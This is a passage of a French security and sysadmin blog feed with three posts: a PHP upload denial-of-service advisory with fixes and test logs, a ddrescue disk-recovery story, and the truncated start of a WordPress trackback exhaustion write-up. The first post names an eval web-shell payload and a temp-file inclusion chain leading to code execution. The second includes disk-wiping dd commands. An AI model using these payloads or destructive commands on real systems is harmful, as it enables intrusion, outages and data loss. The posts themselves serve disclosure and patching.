<p>Lorsque l&#8217;on envoie une requête POST à un script PHP avec le content-type &laquo;&nbsp;multipart/form-data&nbsp;&raquo; et que l&#8217;on inclut une liste de fichiers dans cette requête, PHP crée un fichier temporaire pour chaque fichier de la requête. PHP crée ces fichiers sans même regarder si le script supporte l&#8217;upload de fichiers. Après l&#8217;exécution du script, les fichiers temporaires sont normalement effacés.</p>
<p>Le problème vient donc du fait que si vous incluez un très grand nombre de fichiers dans la requête, PHP a besoin de créer ces fichiers avant l&#8217;exécution du script et donc la suppression qui devrait en découler.</p>
<p>Le denial of service apparait lorsque l&#8217;on crée bons nombres de requêtes (ca rappelle vaguement la <a title="faille wordpress" href="http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254" target="_blank">faille wordpress</a>, et la plupart des <a href="http://fr.wikipedia.org/wiki/Attaque_par_d%C3%A9ni_de_service" target="_blank">DoS</a> bien entendu), et que chaque requête contient beaucoup de fichiers à traiter (+15000).</p>
<p>Lorsque vous envoyez cette requête au serveur web, il s&#8217;écroule et cesse de répondre car il doit processer un énorme nombre de fichiers (création / suppression) dans un très court délai.</p>
<p>N&#8217;importe quel site tournant sous PHP et où l&#8217;upload de fichier est activé (configuration par défaut) est vulnérable. Il n&#8217;est pas nécessaire d&#8217;avoir un formulaire d&#8217;upload pour exécuter l&#8217;exploit. Cette faille est donc critique. J&#8217;ai d&#8217;ailleurs lu dans mes RSS d&#8217;hier qu&#8217;<a href="http://www.ovh.com" target="_blank">OVH</a> organisait une patch party cette nuit, je suppose que c&#8217;est pour protéger ses mutualisés de cette faille.</p>
<p>PHP intègre deux paramètres de configuration qui ont attrait à l&#8217;upload:<br />
<code><br />
upload_max_filesize<br />
post_max_size<br /></code><br />
Cependant, ces deux paramètres ne sont pas suffisants pour enrayer ce DoS.</p>
<p>&nbsp;</p>
<p><strong>Notions d&#8217;enrayement</strong></p>
<p>Trois workarounds sont proposés concernant cette faille:</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Désactiver l&#8217;upload de fichier<br /></span>Si vous n&#8217;avez pas besoin d&#8217;uploader des fichiers sur votre dédié, vous pouvez donc désactiver cette fonctionnalité.<br />
file_uploads = Off dans le php.ini</li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Installer PHP 5.3.1<br /></span>Si vous ne pouvez pas désactiver l&#8217;upload de fichiers, alors il convient d&#8217;upgrader PHP à la version 5.3.1.
<p>Cette nouvelle version intègre un patch pour la faille:<br />
En effet; max_file_uploads a été ajouté et permet de définir le nombre maximum de fichiers à processer à la fois (limité à 20 par défaut) afin d&#8217;enrayer les possibilités de DoS par trop grand nombre de fichiers temporaires.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Installer Suhosin PHP Extension /!\<br /></span>L&#8217;extension Suhosin possède une option nommée &laquo;&nbsp;suhosin.upload.max_uploads&nbsp;&raquo;. Cette option définit le nombre maximum de fichiers qui peuvent être uploadés par requête, définit par défaut à 25.<br />
/!\Suhoshin PHP extension ne doit pas être confondu avec Suhosin patch qui ne protège pas de cette attaque mais est assez largement déployé sur les serveurs de productions.</li>
</ul>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>
<strong>Tests dans des environnements de production</strong></p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on Linux (Ubuntu 8.10) / PHP Version 5.2.6-2ubuntu4.3</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
14:50 – started the attack<br />
14:51 : web server is no longer responsive.<br />
load average: 102.02, 30.68, 10.68<br />
14:52 : web server is not responsive.<br />
load average: 129.95, 49.29, 18.05<br />
14:52 – attack is aborted<br />
14:53 – web server is not responsive.<br />
load average: 143.58, 67.90, 26.41<br />
14:54 – web server is not responsive.<br />
load average: 149.60, 89.58, 37.93<br />
16:05 – web server is not responsive.<br />
load average: 151.64, 120.91, 60.94<br /></code></p>
<p>Vérification du nombre de fichiers temporaires crée par l&#8217;auteur:<br />
<code><br />
$ls -la /tmp/php* | wc -l<br />
-bash: /bin/ls: Argument list too long<br />
0<br /></code><br />
Création d&#8217;un fichier pour compter le nombre de fichiers crées:<br />
<code><br />
$php count_files_from_dir.php /tmp/php*<br />
2.419.649<br /></code><br />
Donc une heure après, le serveur ne répond toujours pas et 2.419.649 fichiers temporaires ont été crées.</p>
<p>&nbsp;</p>
<p>Si l&#8217;on redémarre le serveur, ces fichiers ne sont pas effacés.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on FreeBSD 7.2 / PHP Version 5.2.9</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
14:00 – attack is started.<br />
14:01 – web server is no longer responsive (Chrome message: Error 101 (net::ERR_CONNECTION_RESET): Unknown error.))<br />
load average: 87:22, 22.61, 9.9<br />
14:02 – attack is aborted.<br />
14:06 – web server is no longer responsive.<br />
load averages: 45.42, 42.35, 22.59<br />
14:11 – web server is not responsive.<br />
load averages: 26.77, 35.78, 23.49<br />
The system is slowed down to a crawl.<br />
Basically you cannot even write a command in a remote PUTTY session.<br />
14:17 – web server is not responsive.<br />
The console is continuously displaying kernel error messages like:<br />
swap_pager_getswapspace(2): failed<br />
swap_pager_getswapspace(16): failed<br />
swap_pager_getswapspace(3): failed<br />
…<br />
pid 61248 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61251 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61146 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61063 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61101 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
…<br />
14:23 – web server is responsive.<br />
load averages: 0.79, 29.10, 37.13</code> </p>
<p>&nbsp;</p>
<p>Même chose lorsque l&#8217;auteur tente de compter les fichiers temporaires:<br />
<code><br />
$ls -la /var/tmp/php* | wc -l<br />
-bash: /bin/ls: Argument list too long<br />
0<br />
$ls -la /var/tmp/php<br />
Display all 117490 possibilities? (y or n)<br /></code><br />
Donc nous avons 117490 fichiers temporaires sur le serveur.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on Windows: XAMPP / XAMPP for Windows setup filename: xampp-win32-1.7.2.exe / PHP Version 5.3.0</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
12:30 – started the attack<br />
12:30 + few seconds: CPU usage =&gt; 100%<br /></code></p>
<p>En quelques secondes, le serveur ne répond plus, 65535 fichiers temporaires sont crés et aucun autre ne peut être crée.</p>
<p>&nbsp;</p>
<p>Sur XAMPP pour Windows, PHP crée les fichiers temporaires dans C:\xampp\tmp (si votre installation est dans C:\xampp\)<br />
Les fichiers sont appelés phpXXXX.tmp (Où X’s charset est ‘a’-&#8217;z’, ‘A’-&#8217;Z’, ‘0&#8242;-’9&#8242;).<br />
Exemple: php1A00.tmp<br />
<code><br />
12:31 – attack is aborted<br />
12:39 – CPU usage is still 100%, web server is not responsive.<br />
13:08 – CPU usage is still 100%, web server is responsive.<br />
14:08 – CPU usage is 97%<br />
14:34 – CPU usage is 97%<br /></code><br />
Deux heures plus tard l&#8217;utilisation du CPU n&#8217;est pas revenue à la normale. Cependant le serveur web répond à nouveau. Après un redémarrage du serveur, l&#8217;utilisation du CPU redevient normale. Cependant les 65535 fichiers temporaires ne sont pas effacés.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on OpenBSD 4.6 / PHP Version 5.2.10</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
12:00 – started the attack<br />
12:00 + few seconds: CPU usage =&gt; 100%<br />
12:01 – attack is aborted<br />
12:01 – web server is no longer responsive.<br />
load averages: 120.42, 50.35, 20.59<br />
12:04 – web server is no longer responsive.<br />
load averages: 147.17, 80.74, 36.46<br />
The system is slowed down to a crawl.<br />
12:06 – web server is responsive.<br />
load averages: 122.59, 96.03, 48.31<br /></code></p>
<p>A ce point le serveur web est ralenti mais continue à servir les pages<br />
<code><br />
12:07 – web server is responsive.<br />
load averages: 63.67, 85.01, 47.26<br />
12:10 – web server is responsive.<br />
load averages: 6.56, 52.75, 40.03<br />
12:12 – web server is responsive.<br />
load averages: 0.55, 16.36, 26.50<br /></code><br />
Le système est revenu à la normale.</p>
<p>&nbsp;</p>
<p>OpenBSD gère très bien ce type d&#8217;attaque, les effets n&#8217;ont durés que quelques minutes.</p>
<p>Pourquoi cela ? Grace à Suhosin PHP extension. OpenBSD a cette extension activée par défaut.</p>
<p>&nbsp;</p>
<p><strong>Exploitation</strong></p>
<p>Dans certains cas, cette attaque peut se transformer une inclusion locale et donc en exécution de code distant. La plupart des OS n&#8217;effacent pas les fichiers temporaires crée, même après redémarrage du serveur web. De fait un grand nombre de fichiers temporaires sont laissés dans le répertoire temporaire (habituellement /tmp sur les systèmes unix). On peut donc tenter de deviner le nom de l&#8217;un de ces fichiers et de l&#8217;inclure.</p>
<p>Pour que cela fonctionne, tous les fichiers uploadés doivent contenir le code php suivant: &lt;?php eval($_REQUEST[x]); ?&gt;.</p>
<p>Sur les système tournant sous Windows, seulement quatre caractères sont utilisés pour générer les fichiers temporaires (phpXXXX.tmp). Une fois que le serveur répond à nouveau, il y a 65 535 fichiers dans le repertoire temporaire. Il est donc possible de deviner facilement le nom de l&#8217;un de ces fichiers et de l&#8217;inclure.</p>
<p>Sur unix, 6 caractères sont utilisés pour gérer les fichiers temporaires, il est donc impossible de deviner le nom de ceux-ci. Ou alors, cela prendra beaucoup de temps. L&#8217;auteur a tenté cette méthode sur un serveur ayant généré 800 000 fichiers temporaires. Après cinq minutes de tentative, il a réussi à deviner le nom d&#8217;un fichier et à exécuter du PHP.</p>
<p>Le script python permettant de générer l&#8217;attaque n&#8217;a pas été publié. Enfin, pas par l&#8217;auteur en tout cas. Cela se comprend aisément, du fait des conditions réunis: PHP largement déployé, pas besoin de formulaire d&#8217;upload, upload activé par défaut, seulement la dernière version corrige la faille, extension Suhosin non déployée par défaut sauf sur OpenBSD, de quoi faire tomber 70% des serveurs de la planète.</p>
<p>Mettez rapidement à jour vos serveurs. Un script doit déjà assez largement être distribué.</p>
<p>&nbsp;</p>
<p><strong>Références</strong></p>
<p>L&#8217;équipe d&#8217;<a href="http://www.acunetix.com" target="_blank">Acunetix</a> essentiellement connue pour son <a href="http://www.acunetix.com/vulnerability-scanner/" target="_blank">scanner de failles web</a>; devenu d&#8217;ailleurs entre temps un scanner de port, un soft d&#8217;exploitation d&#8217;injection SQL, un forgeur de packet HTTP et j&#8217;en passe; a averti l&#8217;équipe PHP le 27 octobre. L&#8217;auteur de cette découverte est <strong>bogdan</strong> de l&#8217;équipe Acunetix<strong>.</strong> On notera d&#8217;ailleurs avec intérêt qu&#8217;Acunetix n&#8217;a pas sorti l&#8217;adviso trois jours après avoir contacté le vendor; suivez mon regard :-)</p>
<p>&nbsp;</p>
<p><strong>Correction rapide</strong></p>
<p>On vient de patcher quelques serveurs, la version 5.3.1 a pas été poussée dans les dépots officiels, on a donc installé suhosin qui lui y est:<br />
apt-get install php5-suhosin<br />
(<a href="http://packages.debian.org/lenny/php5-suhosin">http://packages.debian.org/lenny/php5-suhosin</a>)</p>
<p>La configuration se passe dans /etc/php5/apache2/conf.d</p>
<p>
suhosin.upload.max_uploads<br />
Type: Integer<br />
Default: 25<br />
Defines the maximum number of files that may be uploaded with one request.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Un koala à la rescousse de mes secteurs défectueux&#8230;</title>
		<link>http://www.john-jean.com/blog/informatique/un-koala-a-la-rescousse-de-mes-secteurs-defectueux-289</link>
		<comments>http://www.john-jean.com/blog/informatique/un-koala-a-la-rescousse-de-mes-secteurs-defectueux-289#comments</comments>
		<pubDate>Tue, 03 Nov 2009 23:29:39 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Informatique]]></category>
		<category><![CDATA[Sysadmin]]></category>
		<category><![CDATA[ddrescue]]></category>
		<category><![CDATA[disque dur]]></category>
		<category><![CDATA[erreur réallocation]]></category>
		<category><![CDATA[karmic]]></category>
		<category><![CDATA[koala]]></category>
		<category><![CDATA[Palimpsest]]></category>
		<category><![CDATA[sauvegarde]]></category>
		<category><![CDATA[sauvegarder]]></category>
		<category><![CDATA[secteurs défectueux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/informatique/un-koala-a-la-rescousse-de-mes-secteurs-289</guid>
		<description><![CDATA[C&#8217;était une petite nuit d&#8217;hiver, glacée, les frimas envahissaient les rues et il faisait bon être à l&#8217;intérieur pour regarder à travers la fênetre cette belle nuit étoilée. Tout se prêtait à une nuit tranquille et apaisante. Contemplatif de ma configuration travaillée au jour le jour depuis une bonne année, j&#8217;étais satisfait d&#8217;avoir pu, enfin, [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="4big 3Qtr-Left NEW" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/11/4big_3qtr-left_new-1.jpg" width="160" height="172" />C&#8217;était une petite nuit d&#8217;hiver, glacée, les frimas envahissaient les rues et il faisait bon être à l&#8217;intérieur pour regarder à travers la fênetre cette belle nuit étoilée. Tout se prêtait à une nuit tranquille et apaisante. Contemplatif de ma configuration travaillée au jour le jour depuis une bonne année, j&#8217;étais satisfait d&#8217;avoir pu, enfin, retrancher mon OS dans ses moindres recoins. Je m&#8217;apprétais donc à sombrer avec délectation dans la monotonie d&#8217;un environnement bien trop stable.</p>
<p><span id="more-289"></span>
<p>Je commencais à songer à aller me coucher quand je me pris à vouloir tenter le diable. Et pourquoi ne pas faire comme le teenager devant le Virgin Megastore à 3 heures du matin pour acheter le dernier album de son artiste préféré, pourquoi donc ne pas tenter de faire une upgrade en <a href="http://doc.ubuntu-fr.org/karmic" target="_blank">Karmic Koala</a> fraichement poussée dans les repos par les joyeux lurons de <a href="http://www.canonical.com/" target="_blank">Canonical</a> quelques heures plus tôt ?</p>
<p>Aussitôt dit, presque aussitôt fait (il faut s&#8217;armer de patience lors d&#8217;un landrush), je me retrouvais trois heures plus tard avec la dernière mouture en date. Après le reboot réglementaire, je m&#8217;appretais à utiliser fièrement mon Gnome 2.28 fraichement déployé lorsqu&#8217;une icone vint troubler mon attention: elle m&#8217;invitait à prendre connaissance de l&#8217;état de mon disque dur. Je cliquais donc.</p>
<p><img alt="secteurs" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/11/secteurs.png" width="450" height="402" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Cela m&#8217;a surpris au début. J&#8217;ai cru à un faux positif, comme en réservent souvent les packets nouvellement poussés en production (sur ubuntu en tout cas, il est chez Red Hat depuis un moment). Pour vérifier ses dires, j&#8217;ai redémarré et accédé à la partition de diagnostic Dell. Vérification RAM, CPU, et ainsi de suite: PASS, et sur le disque: FAILED. Vraisemblablement le test de surface génère beaucoup d&#8217;erreurs.</p>
<p>Comme j&#8217;avais bidouillé les drivers SATA/AHCI je me suis dit que cela pouvait venir de cela. Après avoir testé par l&#8217;OS (donc par la S.M.A.R.T puis par le diagnostic-tool de Dell), je décidais de descendre d&#8217;un niveau en utilisant l&#8217;utilitaire du <a href="http://www.samsung.com" target="_blank">constructeur</a> appelé <a href="http://www.samsung.com/global/business/hdd/support/utilities/ES_Tool.html" target="_blank">ES Tool</a>. Après l&#8217;avoir gravé, je lançais l&#8217;utilitaire (CD amorcable, aucun système ne doit évidemment être loadé pour le diagnostic): même résultat. J&#8217;avais bien bons nombres de secteurs défectueux, ou en tout cas en attente de réallocation.</p>
<p>On était donc jeudi soir, j&#8217;avais évidement beaucoup de choses à faire pour le boulot le vendredi, mais en même temps on ne plaisante pas avec un disque dur qui commence à claquer, d&#8217;autant plus lorsqu&#8217;il contient tous les documents importants du boulot et avec une criticité parfois élevée. Alors oui j&#8217;avais bien fait des sauvegardes, mais comme la plupart du temps, elles n&#8217;étaient pas fondamentalement tenues à jour (cela ne se comptait pas en trimestre non plus, n&#8217;exagérons rien).</p>
<p>J&#8217;ai donc utilisé ma journée du vendredi à recenser tout ce que j&#8217;avais à sauvegarder après avoir monté mes partitions au travers d&#8217;un livecd. J&#8217;ai tenté au mieux de minimiser les accès disque même si consulter les dossiers génère son petit lot d&#8217;accès. Je suis parvenu au constat que j&#8217;avais dans les 200 go de documents à migrer pour être certain de ne rien oublier. Cependant je perdais toute ma configuration, mais aussi ma vieille partition Windows en dual-bot que je gardais par acquis de conscience. Afin de sauvegarder tout ce petit monde je ne comptais pas réaliser une copie de dossier un à un, c&#8217;était un travail gigantesque mais également la meilleure solution pour oublier quelque chose. J&#8217;ai donc songé à un utilitaire présent dans toutes les distribs linux: dd. En gros celui-ci me permettait de copier l&#8217;intégralité de mon disque dur sur un autre support et cela sans me soucier des fichiers, des partitions, ni même de la MBR. Cela tombait bien: j&#8217;avais reçu quelques jours auparavant mon nouveau système de sauvegarde perso, un <a href="http://www.lacie.com/fr/products/product.htm?pid=11268" target="_blank">Lacie Quadra</a> me permettant de faire des sauvegarde de 2 To en mirroring (RAID 1/0), ou de 4 To en mode fast. Paranoïaque avéré je l&#8217;ai bien entendu configuré en 1/0. Donc une fois le Lacie connecté en USB, je vérifiais ma table de montage (à peu près 200 fois, de peur de me retrouver une dizaine d&#8217;heure plus tard à rechercher des données après un mauvais format):<br />
<code><br />
john@john-laptop:~$ mount | grep sda<br />
john@john-laptop:~$ mount | grep sdb<br /></code></p>
<p>Mon hd endommagé était bien sur /dev/sda et l&#8217;externe sur /dev/sdb. Même si cela peut paraitre stupide: quand on risque de perdre 200 go de données, on fait attention. J&#8217;ai donc ensuite bêtement executée:<br />
<code><br />
dd if=/dev/sda of=/dev/sdb<br /></code></p>
<p>Et j&#8217;ai laissé tourner pendant quelques heures. Et là j&#8217;ai noté quelques défauts dans ce cher et vieux dd. Tout d&#8217;abord <em>par défaut</em> la verbosité n&#8217;est pas exceptionnelle. On est dans le flou complet. Un mode interractif sans annonce de progression. Mais au bout d&#8217;une heure, j&#8217;ai pu avoir un peu de verbose; les choses ont commencé à mal tourner: il n&#8217;avait copié que 6,5 GO. Il bouclait sur une I/O error que générait sans doute l&#8217;un de mes premiers secteurs défectueux. Après un second essai du même acabit, j&#8217;ai RTFM pour de bon<em>.</em> Après un man dd, j&#8217;ai été réellement étonné de ne trouver aucun argument de type &laquo;&nbsp;onerrorskip&nbsp;&raquo; ou &laquo;&nbsp;noretry&nbsp;&raquo;. J&#8217;ai par dépit tenté un:<br />
<code><br />
dd if=/dev/sda of=/dev/sdb conv=noerror,direct<br /></code></p>
<p>Mais même en passant ces options il bouclait sur mes I/O error. J&#8217;ai laissé tourner pendant quelques heures supplémentaires pour ne copier au grand maximum que quelques dizaines de Mo de plus. Avant de me résoudre à entreprendre ce que j&#8217;avais réfuté du début (la copie de dossier un à un), je me suis penché du côté des livecds pour copier les données à partir de disques endommagés mais je n&#8217;ai pas vraiment trouvé de chaussure à mon pied. En revanche j&#8217;ai trouvé un fork de dd nommé <a href="http://www.gnu.org/software/ddrescue/ddrescue.html" target="_blank">ddrescue</a>. Celui-ci ressemble à son grand frère à cette différence près: il ne boucle pas sur les erreurs, il les loggue et tente ensuite plusieurs passes pour récupérer les données potentiellement &laquo;&nbsp;perdues&nbsp;&raquo;. J&#8217;ai donc téléchargé le <a href="http://ftp.gnu.org/gnu/ddrescue/ddrescue-1.11.tar.lz" target="_blank">dernier en date</a>, un configure,un make, et une doc plus tard, je lancais ca:<br />
<code><br />
ddrescue -n /dev/sda /dev/sdb debug.log<br /></code></p>
<p>Pour la petite histoire le -n évite de faire plusieurs passes sur la logfile afin de récupérer le maximum de données. Il s&#8217;oppose à -r qui est le max retries passes. Chaque secteur déféctueux est analysé une fois par passe. Comme j&#8217;étais pressé et que je voulais surtout tester si cela allait me sauver, je donc lancé avec -n. 30 heures plus tard ma copie était faite et surtout j&#8217;avais pu suivre le bon déroulement des opérations car ddrescue est très interractif:</p>
<p><img alt="capture2xl1" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/11/capture2xl1.png" width="450" height="219" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Ce screen n&#8217;est pas celui de ma machine, il vous permet simplement de voir l&#8217;interactivité du soft. Au bout de 30 heures, il avait détecté 692 erreurs, estimé 67Mo d&#8217;errorsize, qu&#8217;il a su (en une seule et unique passe !) ramener à 6 mo. Je pense qu&#8217;en cinq passes je récupérais l&#8217;intégralité de mes données (je n&#8217;ai toujours pas trouvé ce que j&#8217;ai perdu, probablement de l&#8217;espace libre).</p>
<p>Après avoir vérifié en profondeur ma sauvegarde sur mon HD externe j&#8217;ai contacté Dell pour procéder au remplacement de mon disque dur. Comme d&#8217;habitude, SAV irréprochable, j&#8217;ai appelé vendredi soir, lundi matin <del>l&#8217;un de leur techos</del> l&#8217;un des techos de l&#8217;un des leurs sous-traitants pour le SAV était au bureau. Avant de rendre mon ancien disque dur j&#8217;ai bien pris soin d&#8217;effectuer deux opérations, un format bas niveau depuis l&#8217;utilitaire Samsung prévu à cet effet, ce qui a au passage résolu le soucis de secteurs déféctueux (temporairement, va sans dire), et suite à la résolution de ce problème de secteurs j&#8217;ai sorti mon plus joli:<br />
<code><br />
dd if=/dev/zero of=/dev/sda<br /></code></p>
<p>&nbsp;</p>
<p>Idéalement j&#8217;aurai bien fait un<br />
<code><br />
dd if=/dev/random of=/dev/sda<br /></code></p>
<p>mais je n&#8217;avais pas la semaine devant moi. D&#8217;ailleurs chez Dell ils doivent avoir l&#8217;habitude des raleurs surtout lors de soucis de disque, ils m&#8217;ont échangé mon Samsung contre un Western Digital 500GO. Youhou 100 GO de gagné.</p>
<p>Pour conclure, je ne sais pas si cet article interessera beaucoup d&#8217;entre vous, il ne poursuit que quelques buts:</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li>Vous donner une méthode efficace de sauvegarde lorsque vous avez des secteurs défectueux. dd ne faisant pas son travail, ddrescue est votre ami. En effet vous avez bien mieux à faire lors d&#8217;un soucis hardware, surtout avec votre hd, que de penser à quels sont les fichiers à ne pas oublier. Autant prendre l&#8217;intégralité avec l&#8217;effort minimimum, cela tient en une commande.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Vous donner une méthode vous permettant de récupérer vos données avec des secteurs déféctueux. Comme je l&#8217;ai dit, avec cinq passes je suppose que je retrouvais l&#8217;intégralité des mes données.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Vous avertir sur le fait qu&#8217;au final <a href="http://doc.ubuntu-fr.org/karmic" target="_blank">Karmic Koala</a> m&#8217;a sauvé, parce que ni mes outils de monitoring S.M.A.R.T sous windows (que je boot très rarement il est vrai), ni <a href="http://doc.ubuntu-fr.org/jaunty" target="_blank">Jaunty</a> ne m&#8217;avaient alerté. Il a fallu l&#8217;apparition de Palimpsest dans Karmic pour que je prenne conscience que mon disque dur était en train de mourrir en tentant désespérement de m&#8217;alerter.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Que ce n&#8217;est au final pas si mal d&#8217;upgrader son système les jours de landrush: deux jours plus tard 300 secteurs disparaissaient à nouveau (juste à la fin de ma maltraitance sur /dev/sda avec ddrescue)</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Qu&#8217;il est préférable de rendre à son constructeur un disque dur où l&#8217;on a un peu compliqué la tâche des recovery tools: format bas niveau + /dev/zero ou /dev/random, même si ce n&#8217;est pas &laquo;&nbsp;parfait&nbsp;&raquo;, je pense que c&#8217;est suffisant dans mon cas de figure.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Qu&#8217;au final je n&#8217;ai pas fait le processus inverse:<br />
dd if=/dev/sdb of=/dev/sda pour restaurer mon système. J&#8217;ai réinstallé la dernière version d&#8217;ubuntu pour &laquo;&nbsp;profiter&nbsp;&raquo; de l&#8217;ext4 et avoir une réelle base de comparaison, et voir si ce FS est mal réputé à tort ou à raison pour son instabilité. Cela m&#8217;a permis de repenser ma gestion des <a href="http://doc.ubuntu-fr.org/lvm" target="_blank">lvms cryptés</a> sur ma machine pour m&#8217;orienter vers une solution basée sur <a href="http://www.truecrypt.org/" target="_blank">truecrypt</a>, même si elle semble <a href="http://www.securityvibes.com/evil-maid-rutkowska-fde-jsaiz-news-3003411.html" target="_blank">parfois</a> <a href="http://www.h-online.com/security/news/item/Tool-to-fool-TrueCrypt-published-832301.html" target="_blank">mise à mal</a>. Bon j&#8217;avoue, j&#8217;ai quand même copié mes /home/john/.* :)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/informatique/un-koala-a-la-rescousse-de-mes-secteurs-defectueux-289/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>WordPress Ressource Exhaustion Exploit dans toutes les versions de WordPress</title>
		<link>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254#comments</comments>
		<pubDate>Mon, 19 Oct 2009 22:29:41 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[exhaustion]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[resource]]></category>
		<category><![CDATA[ressource]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress resource exhaustion]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/divers/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254</guid>
		<description><![CDATA[36. C&#8217;est le nombre de lignes de PHP contenues dans l&#8217;exploit que je viens de tester avec intérêt. 4. C&#8217;est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel. 01h25, c&#8217;est l&#8217;heure à laquelle j&#8217;écris ce billet: vous m&#8217;excuserez [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.john-jean.com/blog/wp-content/uploads/2009/10/icon2_rss.png" alt="icon2 rss" width="165" height="152" align="left" />36. C&#8217;est le nombre de lignes de PHP contenues dans l&#8217;exploit que je viens de tester avec intérêt.</p>
<p>4. C&#8217;est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel.</p>
<p>01h25, c&#8217;est l&#8217;heure à laquelle j&#8217;écris ce billet: vous m&#8217;excuserez donc pour les fautes d&#8217;orthographes du billet cet article c&#8217;est un peu une &laquo;&nbsp;Breaking News&nbsp;&raquo;.</p>
<p><span id="more-254"></span></p>
<p>Aujourd&#8217;hui a donc été release un &laquo;&nbsp;WordPress Exhaustion Exploit&nbsp;&raquo;, c&#8217;est une appellation relativement savante pour dire que ca peut faire sauter les services d&#8217;un serveur en 36 lignes de code. Je viens de le tester sur l&#8217;un de mes serveurs perso, en 10 secondes mysql a cessé de répondre et n&#8217;est pas revenu de lui même. TOUTES les versions de WordPress sont faillibles.</p>
<p>L&#8217;attaque en elle-même est relativement simple, elle concerne les trackbacks. wp-trackback.php permet de gérer les rétro-liens, c&#8217;est à dire que si Blog B fait référence à un article de Blog A, alors un lien de Blog B apparaitra sur Blog A dans la partie des commentaires.</p>
<p>La faille en elle-même c&#8217;est quoi ? Elle se situe au niveau de la gestion de l&#8217;encodage du titre.</p>
<p><code>if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks<br />
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);<br />
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);<br />
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);<br />
}<br />
</code></p>
<p>En gros, il faut savoir que mb_convert_encoding est une fonction qui permet de transformer une chaine encodée en X vers une chaine encodée en Y. Cette fonction prend trois paramètres:</p>
<p><code>mb_convert_encoding(chaine_que_l'on_veut_convertir, nouveau_charset, charset_d_origine)</code></p>
<p>Dans charset_d_origine on peut spécifier plusieurs charsets. Si l&#8217;on en met plusieurs, la fonction va chercher quel charset correspond à la chaine. Elle va donc tester chacun des charsets passés en argument puis décider quel est le meilleur. Une fois qu&#8217;elle a trouvé le meilleur, elle va transformer chaine_que_l&#8217;on_veut_convertir en nouveau_charset.</p>
